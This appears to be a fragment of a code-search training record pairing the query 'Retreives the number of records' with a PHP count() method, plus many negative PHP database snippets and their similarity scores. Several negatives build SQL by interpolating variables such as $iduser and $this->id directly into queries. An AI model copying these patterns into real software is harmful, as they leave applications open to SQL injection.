"public function listValue($iduser)\r\n\t{\r\n\t\t$sql = \"SELECT useratribute . * , `key`.name\r\n\t\t\t\tFROM `useratribute`\r\n\t\t\t\tJOIN `key` ON useratribute.`keyu` = `key`.idkey\r\n\t\t\t\tWHERE useratribute.idusers = $iduser\r\n\t\t\t\t\";\r\n\t\treturn $this->getDI()->get('db')->fetchAll($sql, Phalcon\\Db::FETCH_OBJ);\r\n\t}",
"public static function list() {\n self::init();\n $columns = self::getListTableColumns();\n $columns = array_map(function($object) {\n return $object['label'];\n }, $columns);\n $columns = array_values($columns);\n\n $columnsSql = implode(', ', self::$listTableColumnsKeys);\n $data = self::$wpdb->get_results(\n self::$wpdb->prepare(\n \"SELECT {$columnsSql}\n FROM \" . self::$table . \"\n ORDER BY id ASC\"\n )\n );\n return $data;\n }",
"abstract public function getList();",
"public function getList()\n {\n $result = $this->adapter->get('sshkey/list');\n if (!count($result)) {\n return false;\n }\n\n return $result;\n }",
"public function getContents()\n {\n return $this->reader\n ->fetchAssoc($this->associativeMap);\n }",
"public function fetch()\n\t{\n\t\treturn $this->values;\n\t}",
"public function getRecord() {}",
"public function getRecord() {}",
"public function getRecord() {}",
"public function getAllFromRedis() : array\n {\n //use redis to speed things up\n if (Di::getDefault()->has('redis')) {\n $redis = Di::getDefault()->get('redis');\n\n $fields = $redis->hGetAll(\n $this->getCustomFieldPrimaryKey(),\n );\n\n foreach ($fields as $key => $value) {\n $fields[$key] = Str::jsonToArray($value);\n }\n\n return $fields;\n }\n\n return [];\n }",
"public function getSimpleList($valueField, $keyField = null, QueryParams $params = null)\r\n\t{\r\n\t\t// Use primary key if key_field is empty\r\n\t\tif (empty($keyField))\r\n\t\t{\r\n\t\t\t$keyField = $this->primaryKey;\r\n\t\t}\r\n\t\r\n\t\t// Check key field exists\r\n\t\tif (!$this->hasField($keyField))\r\n\t\t{\r\n\t\t\tthrow new \\Exception('Field \"' . $keyField . '\" not found in table \"' . $this->name . '\"');\r\n\t\t}\r\n\t\r\n\t\t// Check value field exist\r\n\t\tif (!$this->hasField($valueField))\r\n\t\t{\r\n\t\t\tthrow new \\Exception('Field \"' . $valueField . '\" not found in table \"' . $this->name . '\"');\r\n\t\t}\r\n\t\r\n\t\t// Build query to get list\r\n\t\t$sql = \"SELECT `$keyField`, `$valueField` FROM `\" . $this->name . \"` \";\r\n\t\r\n\t\tif (isset($params))\r\n\t\t{\r\n\t\t\t$sql .= $this->MakeWhere($params) . \" \";\r\n\t\t}\r\n\t\r\n\t\t$sql .= \"ORDER BY \" . $this->orderBy;\r\n\t\r\n\t\treturn $this->db->makeList($sql, $params);\r\n\t}"
]
| [
"0.6684826",
"0.66120213",
"0.64094335",
"0.625938",
"0.62511426",
"0.6220273",
"0.62178934",
"0.6203293",
"0.6179935",
"0.616929",
"0.61663544",
"0.6116549",
"0.6063727",
"0.605008",
"0.605008",
"0.60379344",
"0.6026028",
"0.6011162",
"0.60010755",
"0.59701854",
"0.5968532",
"0.59239614",
"0.5923084",
"0.59204537",
"0.59141093",
"0.5905637",
"0.5896987",
"0.5890622",
"0.58892304",
"0.5868819",
"0.58639145",
"0.58612984",
"0.5845559",
"0.58452547",
"0.5843005",
"0.5842014",
"0.5829549",
"0.58248556",
"0.5822417",
"0.58108896",
"0.58078796",
"0.57991666",
"0.57931745",
"0.57892764",
"0.5780242",
"0.5774847",
"0.57730275",
"0.57712024",
"0.5764772",
"0.57603097",
"0.5756362",
"0.5756209",
"0.5754501",
"0.5745434",
"0.57420665",
"0.5739641",
"0.5728847",
"0.5728847",
"0.5724155",
"0.5721474",
"0.57121336",
"0.57111186",
"0.57036036",
"0.57036036",
"0.570204",
"0.5693206",
"0.5691557",
"0.56822693",
"0.5677833",
"0.5677833",
"0.56711835",
"0.56499547",
"0.56426376",
"0.56406915",
"0.5633507",
"0.5632618",
"0.56285346",
"0.5627588",
"0.56274676",
"0.56211925",
"0.56194454",
"0.5606571",
"0.5605626",
"0.5602501",
"0.56019604",
"0.5594909",
"0.559137",
"0.5590324",
"0.55856955",
"0.5583281",
"0.55751777",
"0.5572148",
"0.5569055",
"0.5550809",
"0.55422825",
"0.55382293",
"0.55362874",
"0.55362874",
"0.55350596",
"0.553202",
"0.551405"
]
| 0.0 | -1 |
Retreives the number of records | public function count(): int
{
return $this->makeQuery()->count();
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function getNumberOfRecords() {}",
"function get_num_records()\n\t{\n\t\t$this->sql = 'SELECT COUNT(*) FROM ' . $this->table;\n\t\t$this->apply_filters();\n\t\treturn db_getOne($this->sql, $this->use_db);\n\t}",
"public function count(){\n\t\t$this->initRecordSet();\n\t\treturn $this->recordSetSize;\n\t}",
"function RecordCount() {\r\n return $this->result->numRows();\r\n }",
"public function numberOfRecords(): int\n {\n return $this->number_of_records;\n }",
"public function getRecordCount()\n {\n return $this->count(self::_RECORD);\n }",
"public function getRecordsCount()\n {\n return $this->count(self::_RECORDS);\n }",
"function RecordCount()\n\t{\n\t\treturn $this->_numOfRows;\n\t}",
"function record_count()\n\t{\n\t\t $sql = \"SELECT COUNT(*) As cnt FROM pof\";\n\t $q = $this->db->query($sql);\n\t $row = $q->row();\n\t return $row->cnt;\n\t}",
"abstract public function recordCount(): int;",
"public function record_count() {\r\n return $this->db->count_all(\"pessoafisica\");\r\n }",
"public function recordCount()\n {\n return sizeof($this->getRecords());\n }",
"function record_count() {\n return $this->db->count_all($this->_student);\n }",
"public function getRecordCount(){\n $records = $this->statement(\"SELECT count(*) AS total_records FROM `voters`\");\n return $records[0]['total_records'];\n }",
"function RecordCount() {}",
"public function fetchNrRecordsToGet();",
"function ListRecordCount() {\n\t\t$filter = $this->getSessionWhere();\n\t\tew_AddFilter($filter, $this->CurrentFilter);\n\t\t$filter = $this->ApplyUserIDFilters($filter);\n\t\t$this->Recordset_Selecting($filter);\n\t\t$sql = ew_BuildSelectSql(\"SELECT * FROM \" . $this->getSqlFrom(), $this->getSqlWhere(), \"\", \"\", \"\", $filter, \"\");\n\t\t$cnt = $this->TryGetRecordCount($sql);\n\t\tif ($cnt == -1) {\n\t\t\t$conn = &$this->Connection();\n\t\t\tif ($rs = $conn->Execute($sql)) {\n\t\t\t\t$cnt = $rs->RecordCount();\n\t\t\t\t$rs->Close();\n\t\t\t}\n\t\t}\n\t\treturn intval($cnt);\n\t}",
"public function CountRow()\n\t{\n\treturn HDB::hus()->Hcount(\"mailingdataavmedgroupinvoicesrecord30\");\n\t}",
"public function count()\n\t{\n\t\treturn $this->result->count();\n\t}",
"public function getNumberOfRecords() {\r\n\t\treturn mysqli_num_rows($this->result);\r\n\t}",
"public function numberOfRecords(): int\n {\n return $this->lastResponse->numberOfRecords;\n }",
"public function getCount() {\n \treturn $this->count();\n }",
"public function getNbrecord(): int\n {\n return 5;\n }",
"public function count() {\n return $this->row_count();\n }",
"public function record_count() {\n return $this->db->count_all(\"promotores\");\n }",
"public function count()\n {\n return $this->rows;\n }",
"public function count() {\n return count($this->__rows__);\n }",
"public function getCount()\n\t{\n\t\treturn $this->data_source->count();\n\t}",
"function RecordCount() {\n return @mysql_num_rows($this->resource);\n }",
"function get_count()\n\t{\n\t\treturn $this->__num_rows;\n\t}",
"public function count() { \n\t\tif( $this->isDirty() ) { $this->executeQuery(); }\n\t\treturn( count( $this->_recordset ) ); \n\t}",
"public function getCount()\n\t{\n\t\t$res = $this->pdo->queryOneRow('SELECT COUNT(id) AS num FROM xxxinfo');\n\t\treturn ($res === false ? 0 : $res['num']);\n\t}",
"public static function getCount()\n\t{\n\t\treturn self::find()->count();\n\t}",
"public function count(){\n\t\t\t$query = \"SELECT COUNT(*) as total_rows FROM \" . $this->table_name . \"\";\n\t\t\n\t\t\t$stmt = $this->conn->prepare( $query );\n\t\t\t$stmt->execute();\n\t\t\t$row = $stmt->fetch(PDO::FETCH_ASSOC);\n\t\t\n\t\t\treturn $row['total_rows'];\n\t\t}",
"public function count(){\n $query = \"SELECT COUNT(*) as total_rows FROM \" . $this->table_name . \"\";\n \n $stmt = $this->conn->prepare( $query );\n $stmt->execute();\n $row = $stmt->fetch(PDO::FETCH_ASSOC);\n \n return $row['total_rows'];\n }",
"private function record_count() {\n\t\t//Currently id is assumed\n\t\t$sql = \"SELECT COUNT(id) FROM {$this->table_name}\";\n\t\t$r = $this->do_query($sql);\n\t\t\n\t\twhile($row = mysql_fetch_array($r)) {\n\t\t\treturn $row[0];\n\t\t}\n\t}",
"function count()\n {\n $this->object->select($this->object->get_primary_key_column());\n $retval = $this->object->run_query(FALSE, FALSE, FALSE);\n return count($retval);\n }",
"abstract protected function _recordcount($rs);",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public function count();",
"public static function count()\n\t{\n\t\treturn self::new_instance_records()->count();\n\t}",
"function get_count() {\n\t\t$count=0;\n\t\t$db=htvcenter_get_db_connection();\n\t\t$rs = $db->Execute(\"select count(pr_id) as num from \".$this->_db_table);\n\t\tif (!$rs) {\n\t\t\tprint $db->ErrorMsg();\n\t\t} else {\n\t\t\t$count = $rs->fields[\"num\"];\n\t\t}\n\t\treturn $count;\n\t}",
"public function getNumberOfRows(){\r\n $this->setTable('subscribed');\r\n $table = $this->getTable();\r\n\r\n $sql = \"SELECT * FROM \" . $table;\r\n $stmt = $this->fetch()->query($sql);\r\n return $stmt->rowCount();\r\n }",
"public function count()\n {\n return $this->model->paginate(1, $this->select)->total();\n }",
"public function count() {\n\t\t// return $this->_count;\n\t\treturn count($this->_data);\n\t}",
"public function _count();",
"public function count()\n {\n return count($this->_rows);\n }",
"function RowCount() {}",
"public function getCount() {\n\t\treturn $this->db->fetchColumn ( \"SELECT COUNT(id) FROM \" . $this->table );\n\t}",
"public function count() {\n $this->_active_query->fields($this->func()->count());\n $query = $this->query( $this->_active_query->getQuery(), $this->_active_query->getParams() );\n return (int)$query->rowCount();\n }",
"function count()\n{\n\tif (!$this->getSql()) return 0;\n\t$rows = $this->getClone()->select('count(*) as n');\n\treturn (int)$rows[0]['n'];\n}",
"public function record_count()\n {\n return $this->db->count_all('punti_spesi');\n }",
"function count()\n {\n $retval = 0;\n $key = $this->object->get_primary_key_column();\n $results = $this->object->run_query(\"SELECT COUNT(`{$key}`) AS `{$key}` FROM `{$this->object->get_table_name()}`\");\n if ($results && isset($results[0]->{$key})) {\n $retval = (int) $results[0]->{$key};\n }\n return $retval;\n }",
"public function count(){\n $query = \"SELECT COUNT(*) as total_rows FROM \".$this->table_name. \"\";\n\n $stmt = $this->conn->prepare($query);\n $stmt->execute();\n $row = $stmt->fetch(PDO::FETCH_ASSOC);\n\n return $row['total_rows'];\n }",
"public function getRecordsTotal(): int;",
"public function count() {\n\t\treturn count($this->getData());\n\t}",
"public function count() {\n\t\treturn count($this->data);\n\t}",
"public function count() {\n\t\treturn count($this->_data);\n\t}",
"public function count()\n {\n $query = \"SELECT COUNT(*) as total_rows FROM \" . $this->table_name . \"\";\n \n $stmt = $this->conn->prepare( $query );\n $stmt->execute();\n $row = $stmt->fetch(PDO::FETCH_ASSOC);\n \n return $row['total_rows'];\n }",
"public function record_count() {\n $count = $this->db->count_all('product');\n return $count;\n }",
"function record_count() {\n\t\tif ($this->QueryID) {\n\t\t\treturn mysqli_num_rows($this->QueryID);\n\t\t}\n\t}",
"public function getNumberOfRecords ()\n {\n // hydrate\n if ( is_null ( $this->studentsCount ) )\n {\n $this->studentsCount = count ( $this->getStudents () );\n }\n \n return $this->studentsCount;\n }",
"public function getNumberOfRows();",
"public function count()\n {\n return $this->queryResult->getSize();\n }",
"public function count()\n\t{\n\t\treturn $this->getCount();\n\t}",
"static public function CountRecord()\n {\n }",
"public static function getCount(){\n \t$sql = \"SELECT COUNT(*) as count FROM yy_hospital\";\n \t$res = self::getDb()->query($sql)->fetchAll();\n \t$count = $res[0]['count'];\n \treturn $count;\n }",
"function count() {\n\t\treturn count($this->data);\n\t}",
"function num_rows() {\n\t\n\t\t$num = @mysql_num_rows($this->rstemp);\n\t\tif ($this->debug) echo \"$num records returneds <br>\\n\\n\";\t\n\t\t\n\t\treturn $num;\t\t\n\t}",
"public function numOfRows();",
"public function count()\r\n {\r\n return count($this->data);\r\n }",
"public function getCount ( ) {\r\n\t\t // Requete SQL\r\n\t\t $req = \"SELECT COUNT(*) AS count FROM \" .$this->table; \r\n\t\t $query = $this->db->prepare($req);\r\n\t\t $query->execute();\r\n\t\t $count = $query->fetch(PDO::FETCH_ASSOC);\r\n\t\t \r\n\t\t // Vérification\r\n\t\t if (count($count) <= 0) {\r\n\t\t return false;\r\n\t\t }\r\n\r\n\t\t return $count['count'];\r\n\t\t}",
"public function count()\n\t{\n\t\t$query = clone $this->df;\n\n\t\t$query->removeClause('select')\n\t\t\t->removeClause('limit')\n\t\t\t->removeClause('offset')\n\t\t\t->removeClause('order by')\n\t\t\t->select('count(*)');\n\n\t\treturn $this->count = (int)$query->fetchSingle();\n\t}",
"public /*int*/ function count()\n\t{\n\t\treturn count($this->_data);\n\t}",
"public function getNumRows(){\n\t\treturn $this->instance->getNumRows();\n\t}",
"public function count() {\r\n return count($this->data);\r\n }",
"public function record_count() {\r\n return $this->db->count_all(\"administradores\");\r\n }",
"public function count()\n\t{\n\t\treturn $this->query->rowCount();\n\t}",
"public function count() {\r\n if (is_null($this->objectcount)) {\r\n $this->fetchData();\r\n }\r\n return $this->objectcount;\r\n }",
"public function count() {\n\t\treturn count($this->_dataobjects);\n\t}",
"public function count()\n {\n return count($this->data);\n }"
]
| [
"0.9014511",
"0.8819159",
"0.86564314",
"0.85013086",
"0.84726787",
"0.841577",
"0.8413105",
"0.8318355",
"0.82981324",
"0.82647943",
"0.8255214",
"0.82311225",
"0.82221323",
"0.81971306",
"0.81635314",
"0.8107037",
"0.8037961",
"0.80348396",
"0.798858",
"0.79876834",
"0.79586416",
"0.79537064",
"0.7936628",
"0.79289436",
"0.7925156",
"0.79185617",
"0.7895334",
"0.7893005",
"0.7892505",
"0.7890172",
"0.78701913",
"0.78570104",
"0.78524166",
"0.7847661",
"0.78464234",
"0.7841854",
"0.7841702",
"0.7831603",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.78236103",
"0.7817462",
"0.7811944",
"0.7798988",
"0.77900386",
"0.7775816",
"0.77706844",
"0.7768796",
"0.7752185",
"0.7742557",
"0.77418274",
"0.7740747",
"0.77365595",
"0.77339566",
"0.77273667",
"0.77239406",
"0.77189845",
"0.7709843",
"0.77020293",
"0.76983124",
"0.769399",
"0.7685004",
"0.76812553",
"0.76707965",
"0.7665715",
"0.7659665",
"0.76587677",
"0.76473147",
"0.7635176",
"0.7631744",
"0.7630758",
"0.7630053",
"0.7624819",
"0.7618079",
"0.7612281",
"0.76045305",
"0.760411",
"0.7603968",
"0.7600226",
"0.759988",
"0.7599563",
"0.75929505"
]
| 0.0 | -1 |
Update records in the database | public function update(int $id, array $params): bool
{
$fieldQuery = $this->buildFieldQuery($params);
$params['id'] = $id;
$statement = $this->pdo->prepare("UPDATE $this->table SET $fieldQuery WHERE id = :id");
return $statement->execute($params);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function db_update() {}",
"public function updateRecord() \n {\n $str = \"Id = :Id\";\n array_walk($this->arrayKeysValues(), function ($value, $key) use (&$str) {\n $str .= \", $key = :$key\";\n });\n $sql = sprintf(\"UPDATE Cubans SET %s WHERE Id = :Id\", $str);\n $statement = $this->connect->prepare($sql);\n $statement->execute(array_merge([\":Id\" => $this->id], $this->arrayKeysValues()));\n }",
"protected function update() {\n $this->db->updateRows($this->table_name, $this->update, $this->filter);\n storeDbMsg($this->db,ucwords($this->form_ID) . \" successfully updated!\");\n }",
"private function update()\n {\n $queryString = 'UPDATE ' . $this->table . ' SET ';\n foreach ($this->data as $column => $value) {\n if ($column != self::ID) {\n $queryString .= $column . ' =:' . $column . ',';\n }\n }\n $queryString .= ' updated_at = sysdate() WHERE 1 = 1 AND ' . self::ID . ' =:' . self::ID;\n $this->query = $this->pdo->prepare($queryString);\n }",
"public function update($record);",
"function update() {\n\t\t\t$updateQuery = \"UPDATE \".$this->table.\" SET \";\n\n\t\t\t$keysAR = array_keys($this->activeRecord);\n\n\t\t\tfor ($loopUp = 0; $loopUp < count($this->activeRecord); $loopUp++) {\n\n $updateQuery .= $keysAR[$loopUp] . \" = ?, \";\n $paramArray[] = $this->activeRecord[$keysAR[$loopUp]];\n\n\t\t\t}\n\n\t\t\t$updateQuery = substr($updateQuery, 0, -2); // Haal de laatste komma weg.\n\n\t\t\t$updateQuery .= \" WHERE \";\n\n\t\t\t// Fetch de primary key van de tabel.\n $fetchPrimary = $this->mysqlConnection->query(\"SHOW INDEX FROM \".$this->table);\n $arrayIndex = $fetchPrimary->fetch(PDO::FETCH_ASSOC);\n $kolomIndex = $arrayIndex['Column_name'];\n\n $updateQuery .= $kolomIndex.\" = \".$this->originalValues[$kolomIndex];\n\n\t\t\t$this->lastQuery = $updateQuery;\n\n $updateTable = $this->mysqlConnection->prepare($this->lastQuery);\n $updateTable->execute($paramArray);\n\n\t\t}",
"public function update(){\n\t\t$this->beforeSave();\n\t\t$tableName = $this->tableName();\n\t\t$fields = $this->fields();\n\t\t// Remove fields set as ignored by rules validation.\n\t\t$fields = $this->removeIgnored($fields);\n\t\t// Create PDO placeholders.\n\t\t$params = implode(', ', array_map(fn($name) => $name . ' = :' . $name, $fields));\n\t\t$primaryKey = $this->getPrimaryKey();\n\t\t$where = $primaryKey . ' = :' . $primaryKey;\n\t\t$statement = $this->db->prepare('UPDATE ' . $tableName . ' SET ' . $params . ' WHERE ' . $where);\n\t\t// Bind values to placeholders.\n\t\tforeach($fields as $field){\n\t\t\t$this->binder($statement, ':' . $field, $this->{$field});\n\t\t}\n\t\t$statement->bindValue(':' . $primaryKey, $this->{$primaryKey});\n\t\tif($statement->execute()){\n\t\t\t$this->afterSave();\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}",
"private function _update() {\n\n $this->db->replace(XCMS_Tables::TABLE_USERS, $this->getArray());\n $this->attributes->save();\n\n }",
"public function updateData()\n {\n try {\n// echo \"<pre>\";\n// print_r($this->where);\n// print_r($this->insertUpdateArray);\n// exit;\n DB::table($this->dbTable)\n ->where($this->where)\n ->update($this->insertUpdateArray);\n } catch (Exception $ex) {\n throw new Exception($ex->getMessage(), 10024, $ex);\n }\n }",
"public function update(){\n\t\t$sql = \"update \".self::$tablename.\" set name=\\\"$this->name\\\",email1=\\\"$this->email1\\\",address1=\\\"$this->address1\\\",lastname=\\\"$this->lastname\\\",phone1=\\\"$this->phone1\\\" where id=$this->id\";\n\t\tExecutor::doit($sql);\n\t}",
"public function update() {\n\t\tif (isset($this->params['updated'])) {\n\t\t\t$this->params['updated'] = null;\n\t\t} // 'updated' is an auto timestamp\n\n\t\t$columns = array();\n\t\tforeach (array_keys($this->params) as $key) {\n\t\t\tarray_push($columns, $key . ' = ?');\n\t\t}\n\t\t$bindings = implode(', ', $columns);\n\t\t$sql = 'UPDATE ' . static::$table . ' SET ' . $bindings . ' WHERE id = ' . $this->get('id') . ' ;';\n\t\t$query = DBH()->prepare($sql);\n\t\t$query->execute(array_values($this->params));\n\t}",
"public function update(){\r\n\t\tif (!$this->hasChanged) return self::RES_UNCHANGED;\r\n\t\t$table = $this->getTable();\r\n\t\tif ($this->new){\r\n\t\t\tMessages::msg(\"Cannot update record in {$this->getFullTableName()}, because the record doesn't exist.\",Messages::M_CODE_ERROR);\r\n\t\t\treturn self::RES_FAILED;\r\n\t\t}\r\n\t\tif (!$table->hasPrimaryKey()){\r\n\t\t\tMessages::msg(\"Cannot update record in {$this->getFullTableName()}, because the table does not have a primary key.\",Messages::M_CODE_ERROR);\r\n\t\t\treturn self::RES_FAILED;\r\n\t\t}\r\n\t\t\r\n\t\t$this->beforeCommit();\r\n\t\t\r\n\t\t$vals = array();\r\n\t\t$where = array();\r\n\t\t$changeCount = 0;\r\n\t\t$error = false;\r\n\t\tforeach ($this->values as $name=>$value){\r\n\t\t\tif ($value->isErroneous()){\r\n\t\t\t\tFramework::reportErrorField($name);\r\n\t\t\t\t$error = true;\r\n\t\t\t}\r\n\t\t\tif ($value->hasChanged()){\r\n\t\t\t\t$vals[] = \"`$name` = \".$value->getSQLValue();\r\n\t\t\t\t$changeCount++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif ($error){\r\n\t\t\treturn self::RES_FAILED;\r\n\t\t}\r\n\t\t\r\n\t\tforeach ($table->getPrimaryKey()->getColumns() as $name){\r\n\t\t\t$where[] = \"`$name` = \".$this->values[$name]->getSQLValue();\r\n\t\t}\r\n\t\t$sql = 'UPDATE '.$this->getFullTableName().' SET '.implode(', ',$vals).' WHERE '.implode(' AND ',$where).' LIMIT 1';\r\n\t\tif (!SQL::query($sql)->success()){\r\n\t\t\tMessages::msg('Failed to update record in '.$this->getFullTableName().'.',Messages::M_CODE_ERROR);\r\n\t\t\treturn self::RES_FAILED;\r\n\t\t}\r\n\t\t$this->hasChanged = false;\r\n\t\tforeach ($this->values as $value){\r\n\t\t\t$value->setHasChanged(false);\r\n\t\t}\r\n\t\t\r\n\t\t$this->afterCommit();\r\n\t\t\r\n\t\treturn self::RES_SUCCESS;\r\n\t}",
"public function modifyRecords(){\n \n // Get the sql statement\n $sql = $this->updateSql();\n // Prepare the query\n $stmt = $this->db->prepare($sql);\n\n foreach ($this->requestUpdateValues as $key => $value) {\n $stmt->bindParam($this->params['columnName_Pdo'][$key], $this->requestUpdateValues[$key]);\n }\n \n $stmt->execute();\n \n return true;\n \n }",
"public function DoUpdate()\n\t{\n\n\t\treturn db_update_records($this->fields, $this->tables, $this->values, $this->filters);\n\t}",
"public function update(){\n if(empty($this->attributes)){\n return;\n }\n if ($this->isAutoInc) {\n $fieldsList = \" SET \";\n foreach ($this->attributes as $column => $value) {\n $fieldsList.=$column.\"=\".'\\''.$value.'\\''.\", \";\n }\n $fieldsList = str_last_replace(\", \", \"\", $fieldsList);\n $sqlQuery = \"UPDATE \".$this->table.$fieldsList.\" WHERE \".$this->idName.\"=\".$this->attributes[$this->idName];\n\n Db::instance()->execute($sqlQuery,$this->attributes);\n }\n }",
"public function update(){\n\t\t$sql = \"update \".self::$tablename.\" set name=\\\"$this->name\\\",lastname=\\\"$this->lastname\\\",username=\\\"$this->username\\\",email=\\\"$this->email\\\",kind=\\\"$this->kind\\\",status=\\\"$this->status\\\" where id=$this->id\";\n\t\tExecutor::doit($sql);\n\t}",
"function update(){\n\t\t$this->model->update();\n\t}",
"public function update()\n\t{\n\t\t$this->user->db_update();\n\t}",
"public function updateRecord(){\n\t\tglobal $db;\n $data = array('email'=>$this->email);\n\t\t\t\t$response = $db->update($this->table,$data,\"id = $this->id\");\n\t\treturn $response;\n\t}",
"public function update(){\n\t\t$sql = \"update \".self::$tablename.\" set name=\\\"$this->name\\\",comments=\\\"$this->comments\\\",price=\\\"$this->price\\\",brand=\\\"$this->brand\\\",model=\\\"$this->model\\\",y=\\\"$this->y\\\",link=\\\"$this->link\\\",in_existence=\\\"$this->in_existence\\\",is_public=\\\"$this->is_public\\\",is_featured=\\\"$this->is_featured\\\",category_id=\\\"$this->category_id\\\" where id=$this->id\";\n\t\tExecutor::doit($sql);\n\t}",
"public function update() {\n $Sql = \"UPDATE \" . $this->tableName[0] . \" SET \";\n foreach ($this->fieldListArray as $Key_ => $Value_) {\n $Sql = $Sql . \"$Key_='$Value_', \";\n }\n $Sql = substr($Sql, 0, strlen($Sql) - 2);\n $Sql = $Sql . \" WHERE \";\n foreach ($this->conditionArray as $Key_ => $Value_) {\n $Sql = $Sql . \"$Key_='$Value_' AND \";\n }\n $Sql = substr($Sql, 0, strlen($Sql) - 4);\n //echo $Sql;\n return mysqli_query($this->dataBaseConnect->getConnection(), $Sql);\n }",
"protected function _update() {\n $this->_getDef();\n \n //prepare\n foreach ($this->_tableData as $field) {\n if($field['primary']) {\n $primaryKey = $field['field_name'];\n $primaryValue = $this->$primaryKey;\n continue;\n }\n \n $sql_fields[] = '`' . $field['field_name'] . '` =?';\n \n $field_name = $field['field_name'];\n \n if(false !== ($overrideKey = $this->_getOverrideKey($field_name))){\n $field_name = $overrideKey;\n }\n \n if($this->$field_name instanceof \\DateTime){\n $$field_name = $this->$field_name->format('Y-m-d H:i:s');\n } elseif(is_array($$field_name)){\n $$field_name = json_encode($$field_name);\n } else {\n $$field_name = $this->$field_name;\n }\n \n $values[] = $$field_name;\n }\n \n $values[] = $primaryValue;\n \n $sql = \"UPDATE `{$this->_table}` SET \" . implode(',', $sql_fields) . \" WHERE `{$primaryKey}` =?\";\n $stmt = Database::connection($this->_connection)->prepare($sql, $values);\n $stmt->execute();\n $this->setLastError(NULL);\n if($stmt->error !== ''){\n $this->setLastError($stmt->error);\n }\n \n $stmt->close();\n \n return $this->getLastError() === NULL ? true : false;\n }",
"private function update(){\n\t\t$id = $this->objAccessCrud->getId();\n\t\tif (empty ( $id )) return;\n\t\t// Check permission to update.\n\t\t$result = $this->clsAccessPermission->toUpdate();\n\t\tif(!$result){\n\t\t\t$this->msg->setWarn(\"You don't have permission to update!\");\n\t\t\treturn;\n\t\t}\n\t\t// Execute Update.\n\t\tif (! $this->objAccessCrud->update ()) {\n\t\t\t$this->msg->setError (\"There were issues on update the record!\");\n\t\t\treturn;\n\t\t}\n\t\t$this->msg->setSuccess (\"Updated the record with success!\");\n\t\treturn;\n\t}",
"public function update() {\r\n\r\n\t\ttry {\r\n\t\t\tglobal $ks_db;\r\n\t\t\tglobal $ks_log;\r\n\r\n\t\t\t$ks_db->beginTransaction ();\r\n\t\t\t\r\n\t\t\t$arrBindings = array ();\r\n\t\t\t\r\n\t\t\tif (! isset ( $this->id )) { \r\n\t\t\t\techo \"Fatal Error: Id is not set for the object! Please do \\$objA->setId(\\$id); in: \" . __METHOD__;\r\n\t\t\t\texit ();\r\n\t\t\t}\r\n\r\n\t\t\t//check if record exists\r\n\t\t\tif(! $this->exists ()) {\r\n\t\t\t\techo \"Fatal Error: No record found with id of ($this->id)\";\r\n\t\t\t\texit ();\r\n\t\t\t}\r\n\r\n\t\t\t$sql = \"UPDATE $this->sqlTable SET \";\r\n\t\t\t\r\n\t\t\tif (isset ( $this->userid )) {\r\n\t\t\t\t$sql .= \"lp_userid = ?, \";\r\n\t\t\t\t$arrBindings[] = $this->userid;\r\n\t\t\t}\r\n\t\t\tif (isset ( $this->random )) {\r\n\t\t\t\t$sql .= \"lp_random = ?, \";\r\n\t\t\t\t$arrBindings[] = $this->random;\r\n\t\t\t}\r\n\t\t\tif (isset ( $this->deadline )) {\r\n\t\t\t\t$sql .= \"lp_deadline = ?, \";\r\n\t\t\t\t$arrBindings[] = $this->deadline;\r\n\t\t\t}\r\n\r\n\t\t\t$sql = preg_replace ( '/, $/', '', $sql);\r\n\t\t\t$sql .= \" WHERE lp_id = ?\";\r\n\t\t\t$arrBindings[] = $this->id;\r\n\t\t\t\r\n\t\t\t$ks_db->query ( $sql, $arrBindings );\r\n\t\r\n\t\t\t$ks_db->commit ();\r\n\t\t\t\r\n\t\t} catch(Exception $e) {\r\n\t\t\t$ks_db->rollBack ();\r\n\t\t\t$ks_log->info ( 'Fatal Error: ' . __CLASS__ . '::' . __METHOD__ . '. ' . $e->getMessage () );\r\n\t\t\t$ks_log->info ( '<br>SQL Statement: ' . $sql);\r\n\t\t\techo \"Fatal Error: \" . __CLASS__ . '::' . __METHOD__ . '. ' . $e->getMessage ();\r\n\t\t\techo \"SQL Statement: \" . $sql;\r\n\t\t}\r\n\t}",
"public function update(){\n $sql = \"update \".self::$tablename.\" set correlativo=\\\"$this->correlativo\\\",nombre_instalador=\\\"$this->nombre_instalador\\\",nombre_proyecto=\\\"$this->nombre_proyecto\\\",localizacion=\\\"$this->localizacion\\\",contrato_orden_trabajo=\\\"$this->contrato_orden_trabajo\\\",sector_trabajo=\\\"$this->sector_trabajo\\\",area_aceptada=\\\"$this->area_aceptada\\\",fecha_proyecto=\\\"$this->fecha_proyecto\\\" where id_usuario=$this->id_usuario\";\n Executor::doit($sql);\n }",
"public function SQL_UPDATE() {\r\n\t}",
"public function update() {\n\t\t$dbh = App::getDatabase()->connect();\n\n\t\t$query = \"UPDATE \".$this->getTableName().\"\n\t\t\t\t SET \";\n\n\t\t$fl = true;\n\t\tforeach($this as $column => $val) {\n\t\t\tif(!in_array($column, $this->getPrimaries())) {\n\t\t\t\t$query .= (($fl) ? \"\" : \", \").$column.\" = \".((is_bool($val)) ? (($val) ? \"TRUE\" : \"FALSE\") : ((is_null($val)||($val === \"\")) ? \"null\" : \"'\".$val.\"'\"));\n\t\t\t\t$fl = false;\n\t\t\t}\n\t\t}\n\n\t\t$fl = true;\n\t\tforeach($this as $column => $val) {\n\t\t\tif(in_array($column, $this->getPrimaries())) {\n\t\t\t\t$query .= \"\\n\".(($fl) ? \"WHERE\" : \"AND\").\" \".$column.\" = '\".$val.\"'\";\n\t\t\t\t$fl = false;\n\t\t\t}\n\t\t}\n\n\t\t$res = $dbh->exec($query);\n\t\t$dbh = null;\n\t\treturn $res;\n\t}",
